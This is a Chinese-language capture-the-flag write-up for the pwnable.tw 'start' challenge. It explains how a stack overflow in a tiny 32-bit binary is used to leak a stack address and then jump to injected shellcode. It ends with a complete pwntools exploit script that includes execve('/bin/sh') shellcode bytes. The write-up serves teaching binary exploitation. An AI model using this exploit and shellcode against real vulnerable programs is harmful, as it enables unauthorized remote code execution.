概述:本题是pwn的入门级题目,几乎把所有利用的难度都降到最低,应该只是用来让入门者大致了解pwn题的玩法。
1、首先file start,可以看到这是一个32位的elf文件,静态编译,同时保留了符号信息;
2、然后checksec start,可以看到几乎所有的安全缓解措施都关闭了,将利用的难度降到了最低;
3、用IDA分析start,可以看到这是一个非常简单的程序,只有两个函数start和exit,其中exit函数只是简单退出程序,主要分析start函数。
start函数同样非常简单,主要做了两件事:调用sys_write函数打印出20字节长度的字符串"Let's start the CTF:"、调用sys_read函数读入60字节长度的字符串,这里很明显存在一个栈溢出,在这里先整理一下常规栈溢出的利用思路,因为本题中存在各种故意设计的巧合导致利用起来很简单,并不能完整反映出栈溢出的利用流程。
栈溢出利用思路:
(1)确认溢出点,以及计算出溢出的长度;
(2)判断以何种方式覆盖返回地址,即以什么复写返回地址来达到劫持执行流程的目的;
(3)将程序启用的安全缓解措施逐个绕过。
接下来,一边分析start函数一边解决上面三个问题。
(1)start函数首先push esp,这是一个比较有意思的指令,本质就是在栈上保存了这个栈内存单元自己的地址,考虑到程序没有开启ASLR和PIE,所以如果我们能将这个保存在栈上的数据泄露出的话就解决了利用思路中的第二点,即以硬编码的方式复写返回地址劫持执行流程到shellcode;
(其实用硬编码的方式覆盖返回地址是很少用的方式,这种方式最简单,但是如果程序开启了PIE使得栈地址随机化或者复写的返回地址存在坏字节都会使得这种方式失败,常用的应该是与地址无关的解决办法)
(2)接下来push offset _exit,也就是将退出函数的地址压入堆栈,这实际上是压入函数的返回地址;
(3)接下来由于需要利用四个常用寄存器传参,所以先将其清空;
(4)接下来是通过sys_write系统调用来输出字符串"Let's start the CTF:",值得注意的是给ecx的传参方式:mov ecx, esp,表面上是将ecx指向上面push进栈中的字符串,也就是要打印的字符串,但也要认识到如果调用得当我们可以通过这个参数输出栈上的其他数据,比如在push esp指令中压入栈中的栈地址,这也是在解决利用思路中的第二点,也就是泄露栈地址;
(泄露栈地址的前提是栈地址是固定的,即没有开启PIE,否则是没有意义的。)
(5)接下来是通过sys_read系统调用来输入60个字节的字符,这很明显是栈溢出的溢出点,解决了利用思路中的第一点中找到溢出点的部分;
(6)接下来add esp, 14h,也就是将栈地址拉高20个字节,这是在清理自己使用的栈空间,依此可确定溢出长度为20个字节,这解决了利用思路中的第一点计算出溢出长度的部分,其他复杂情况下的溢出长度可以通过脚本来计算。
(实际上这一步涉及到不同语言的函数调用约定,传参以及空间清理等,在此不展开讨论)
(7)由于本程序没有开启NX或者canary,同时栈地址固定且已知,可以直接把shellcode复写在栈上劫持返回地址到shellcode,所以分析到这里就可以整理出完整的利用思路。
4、通过上面的讨论基本确定了利用思路(方式有多种,这里用最简单的思路):
首先在函数运行到读入字符串时通过栈溢出将返回地址覆盖为mov ecx, esp指令的地址,由于没有开启PIE,所以代码段的地址没有随机化,这个地址是固定且已知的,这样函数将把write和read系统调用再执行一遍,而且在第二次执行write系统调用时由于此时ecx指向第一条汇编指令push esp所保存的占内存单元的地址,所以这次write系统调用会输出那个栈单元的内存地址,这样我们就泄露出了栈地址,同时由于没有开启ASLR且不存在坏字节所以我们可以直接在第二次read系统调用中将shellcode溢出写在这个地址开始的栈内存中,并用这个地址覆盖返回地址,但是值得注意的是第二次还会有add esp,14h这条指令,所以实际覆盖点还要调高20个字节。
简单说,一共有两次栈溢出,第一次复写返回地址为 mov ecx, esp指令的地址来泄露栈地址,第二次溢出注入shellcode再利用第一次溢出获得的栈地址劫持流程到shellcode。
5、基于此思路写的exp如下,其中shellcode部分直接使用80h中断中的sys_execve(x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80):
# -*- coding:utf-8 -*-
"""
exp for pwnable.tw start.
by rafa.
"""
from pwn import *
def exp():
p = remote("chall.pwnable.tw", 10000)
# 硬编码覆盖返回地址为 mov ecx, esp 指令所在地址
payload = 'a' * 20 + p32(0x08048087)
p.recvuntil(":")
p.send(payload)
# 第二次系统调用read时再次清理栈空间调高20字节
addr = u32(p.recv(4)) + 20
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = "a" * 20 + p32(addr) + shellcode
p.send(payload)
p.interactive()
if __name__ == '__main__':
exp()
执行利用脚本获得shell,利用结果截图如下:
查看flag如下: